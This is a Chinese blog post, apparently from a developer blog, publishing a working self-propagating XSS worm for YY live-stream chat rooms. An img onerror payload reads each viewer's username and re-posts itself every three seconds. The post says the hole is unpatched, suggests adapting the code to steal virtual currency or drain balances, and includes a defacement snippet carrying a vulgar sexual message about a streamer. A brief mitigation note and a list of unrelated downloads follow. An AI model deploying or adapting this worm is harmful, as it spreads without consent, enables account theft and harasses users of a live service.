`
yunchow
  • 浏览: 325291 次
  • 性别: Icon_minigender_1
  • 来自: 南京
社区版块
存档分类
最新评论

YY直播厅蠕虫病毒代码

阅读更多

本来是可以直接通过<script>标签实现的,但是昨天被YY官方给屏蔽了。

下面的代码是通过img标签的onerror事件进行触发。所有看到这条消息的在线用户会被自动感染,并继续感染其他用户,因为这段代码有自我复制能力。.

 

<img height="0" width="0" src="xx" onerror='t=this;function fn(){n = $("#userName").html();$("textarea#pub_msg_input.msg-input").val(n + "说:2hY太屌X了,你就是我们的偶像," + new Date().getTime() + " " + t.outerHTML);$("#msg_send_bt").click();}setInterval(fn, 3000)'>

 

 

上面这段代码只是自动发送一条消息,稍加改造,可以盗取用户的Y币,银豆,帮用户自动下注,使用户余额清空等恶劣的破坏作用。到目前为止YY官方还未修复此漏洞,也请各位不要去做违法的事情。

 

 

 

 

 下面这段代码没有感染能力

<div style="position:fixed;top:70px;right:500px;background-color:green;z-index:1000;"><font size="20" color="red" font-weight="bold">想爆翻译妹子菊花的扣11111</font></div> 

 

 

 解决方案:

过滤 img, iframe, script等标签,对所有输出利用esapi进行编码,当然对输入利用白名单机制进行限制

 

 

 

 

  • 大小: 129.7 KB
  • 大小: 764.4 KB
1
0
分享到:
评论

相关推荐

    YY网页直播系统源码

    iShow是一套基于P2P技术的在线视频直播系统,iShow依存于web网页,无需下载插件,可实现低延时高清的视频语音直播体验。现已广泛应用于教育、娱乐、客服等各个行业,随着国内带宽的提升和各类新技术的加入,视频直播...

    YY调用最新.rar_YY接口_YY直播调用_yy_yy直播 调用_yy调用接口

    总的来说,"YY调用最新.rar"提供了一整套与YY直播平台交互的解决方案,包括接口文档、示例代码和上传指南,帮助开发者快速接入YY直播服务,打造个性化的直播应用。通过学习和理解这些内容,开发者可以充分利用YY直播...

    Yy全部表情代码

    "Yy全部表情代码"这个主题涉及到的是一个特定聊天系统或应用内的一系列表情符号及其对应的编码。表情代码通常是为了使用户能够通过输入特定的字符序列来展示丰富多彩的表情图像,增强沟通的趣味性和效率。 在“Yy”...

    yy直播助手 v2.3.0.0 官方版.zip

    yy直播助手是一款免费好用的专门针对YY主播进行优化的开播软件。软件功能强大,它拥有更多的功能和更好的体验,一键即可开启直播。 软件能够帮助用户直播自己正在录制的视频,支持lol、doat、dnf等海量游戏直播,...

    直播客户端(类似yy直播)

    文章地址:...公司项目 是一款综合视频社交应用,类似于 YY 直播客户端,可以聊天也可以 看直播。内含多种支付方式,易宝 支付宝 银联 等等,提供出来 大家一起学习、

    寒龙音频音效大师(YY直播音效)v3.0免费绿色版

    寒龙音频音效大师YY直播音效适用于YY主持,MC喊麦主持,直播音效、快手录段子音效,主播音效搞笑主持必备工具,笑声、鼓掌、搞笑音等等100多种效果,需要的朋友快来下载使用吧。 更新说明 寒龙音频音效大师YY直播...

    寒龙音效大师YY直播特效主播主持快手特效

    寒龙音效大师YY直播特效主播主持快手特效

    易语言YY多开源代码

    易语言YY多开源代码 易语言YY多开源代码 易语言YY多开源代码

    财经直播,调用YY直播源.rar_YY注册_YY直播调用_www.6634yy_yy_yy财经版

    财经直播聊天系统在线聊天、海量在线客户显示,支持文字、表情、图片、主持人语音视频互动等多样化创新功能,让您拥有一个功能强大的专业沟通软件。有我,你就够了;规范化的喊单操作,不同级别客户权限设置,支持...

    用易语言写YY订阅直播通知

    《用易语言写YY订阅直播通知》是一款基于易语言开发的小型软件,主要功能是获取YY直播平台的订阅用户直播通知。易语言是中国自主研发的一种编程语言,它以其独特的汉字编程方式,降低了编程学习的门槛,使得不懂英文...

    仿YY语音的聊天系统的源代码

    本主题涉及的是一个仿YY语音的聊天系统的源代码,这是一套用于构建类似YY语音功能的通信应用的开发资源。YY语音是中国知名的实时通讯平台,以其高质量的语音聊天、直播和游戏互动等功能著称。通过研究这个源代码,...

    YY直播基于软硬件的弱网深度优化.pdf

    《YY直播基于软硬件的弱网深度优化》 在当今的网络时代,直播服务已经成为人们日常生活的一部分,而YY直播作为其中的佼佼者,始终致力于提供高质量、稳定的直播体验。针对网络环境不稳定的问题,YY直播进行了深入的...

    YY多开协源码

    YY多开通常指的是YY语音或其他类似的应用程序,允许用户创建并管理多个账号,以便在同一个设备上进行多任务处理,如游戏多开、直播多开等。源码则是程序员编写的原始代码,它是软件的核心部分,公开源码意味着开发者...

    寒龙音频音效大师YY直播音效

    寒龙音频音效大师YY直播音效适用于YY主持;MC喊麦主持,直播音效、快手录段子音效,主播音效搞笑主持必备工具,笑声、鼓掌、搞笑音等等100多种效果。 寒龙音频音效大师YY直播音效 v3.0更新: 解决个别电脑打开后...

    YY直播应用大数据决胜安全对抗的实践培训课件.pptx

    【标题】:“YY直播应用大数据决胜安全对抗的实践培训课件.pptx”揭示了YY直播如何利用大数据技术提升其安全防护能力,特别是在抵御DDoS攻击和外挂识别方面的实践。 【描述】:该课件详细阐述了YY直播在安全对抗中...

    捆绑YY工会ID号的E语言源代码

    标题 "捆绑YY工会ID号的E语言源代码" 暗示了这是一个关于编程和软件开发的课题,主要涉及E语言(可能是指Erlang或EasyLanguage等编程语言)以及与YY语音平台的集成。E语言是一种编程工具,可能是用于创建特定功能,...

    藏经阁-YY直播基于软硬件的弱网深度优化.pdf

    《藏经阁-YY直播基于软硬件的弱网深度优化》是针对YY直播平台在网络环境不佳情况下的优化策略和技术分享。这份文档详细介绍了YY直播在技术发展历程中的关键里程碑,以及如何通过软硬件结合的方式提升直播质量,确保...

Global site tag (gtag.js) - Google Analytics